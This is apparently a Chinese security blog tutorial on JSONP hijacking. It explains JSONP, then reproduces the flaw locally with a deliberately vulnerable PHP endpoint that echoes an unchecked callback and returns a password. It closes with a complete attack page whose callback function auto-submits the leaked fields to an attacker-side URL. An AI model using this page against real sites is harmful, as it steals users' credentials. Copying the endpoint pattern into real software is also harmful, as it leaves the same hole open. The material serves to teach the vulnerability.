JSONP绕过CSRF防护TOKEN

2019-05-1900:01:50 发表评论

JSONP

什么是jsonp?

Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

JSONP的语法和JSON很像,简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下:

callback({ "name": "kwan" , "msg": "获取成功" });

JSONP原理就是动态插入带有跨域url的<script>标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

常见的jsonp形式类似:

http://www.test.com/index.html?jsonpcallback=hehe

传过去的hehe就是函数名,服务端返回的是一个函数调用,可以理解为:evil就是一个函数,(["customername1","customername2"])就是函数参数,网站前端只需要再编写代码处理函数返回的值即可。

jsonp劫持漏洞

漏洞很简单,在本地复现一下。

【JSONP_callback.php】:jsonp接口,返回用户的账户密码(简单起见,就直接写死返回值了)

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

请求该接口并加上callback=hello,返回值如下

JSONP绕过CSRF防护TOKEN

在返回值开头中可见hello,如果我们修改callback的值为其他值,此处的返回值也会相应改变。我们可以劫持callback参数,自己构造callback处理函数,受害者点击我们伪造的链接后,向真正的jsonp接口发起请求,请求得到数据的处理方式由我们自己的callback处理函数处理,由此可以达到劫持目的。

比如,我们编写如下攻击页面:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
    var myForm = document.createElement("form");
    myForm.action="http://localhost/JSONP_redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/JSONP_callback.php?callback=hehehe"></script>
</body>
</html>

用户访问此页面后,会自动去请求JSONP_callback.php,返回值会进入hehehe函数进行处理,在hehehe函数中,会弹出密码值、创建表单自动提交用户密码到攻击者服务器、最后重定向到百度。

发表评论

请登陆后发表评论